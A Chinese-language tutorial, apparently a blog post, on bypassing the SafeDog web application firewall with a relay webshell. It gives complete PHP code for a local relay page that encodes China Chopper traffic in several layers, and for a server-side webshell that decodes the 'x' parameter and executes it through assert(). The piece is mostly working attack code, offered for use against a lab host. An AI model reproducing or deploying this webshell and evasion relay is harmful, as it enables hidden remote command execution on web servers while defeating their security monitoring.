php+copy+安全狗,中转Webshell 绕过安全狗(一)

前言

听说中国菜刀里有后门。抓包我是没有监测到异常数据包。为了以防万一,且更好使用中国菜刀硬杠安全狗。笔者收集了一下资料。无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshell绕过安全狗。

参考资料:

安全狗绕过 - 本地中转bypass

中转Webshell绕过流量检测防护

原理

菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密,然后再发送给shell,shell接收后用同样的算法进行解密,执行命令。

客户端

本地127.0.0.1,安装phpstudy

transfer.php

function encode($str){

$DS = base64_encode($str);

$DS = str_rot13($DS);//ROT13编码

$DS = strrev($DS);//反转

$DS = base64_encode($DS);

return $DS;

}

// webshell地址,transServ.php为定制一句话

$webshell = 'http://192.168.253.129/waf/transServ.php';

$pdata = $_POST;//接受所有POST数据,数组

//var_dump($pdata);

foreach($pdata as $key=>$value){

//echo $value;

if(is_array($value)){

$value=implode($value);//数组组合为字符串

}

// 菜刀密码

if($key == 'x') {

//var_dump($pdata[$key]);

$pdata[$key] = encode($value);//encode编码

//echo $pdata[$key];

}

}

$data = http_build_query($pdata);//模拟http请求的,把得到的数据data通过函数URL-encode请求

//var_dump($data);//str字符串

$opts = array (

'http' => array (

'method' => 'POST',

'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n",

'content' => $data)

);

$context = stream_context_create($opts);

//模拟post、get请求,创建资源流上下文,数据包

$html = @file_get_contents($webshell, false, $context);

echo $html;

?>

服务端

192.168.253.129,安装安全狗

transServ.php

$DS = @$/*-*/{"_P"."OST"}['x'];

//echo $DS;

if (!empty($DS) ){

echo $DS."
";

$DS = @base64_decode($DS);

echo $DS."
";

$DS = @strrev($DS);

echo $DS."
";

$DS = @str_rot13($DS);

echo $DS."
";

$DS = @base64_decode($DS);

$a=explode(" ", $DS);

//var_dump($a);

echo assert($a[0]);

exit;

}

操作

1d3556ae493e

image.png

1d3556ae493e

image.png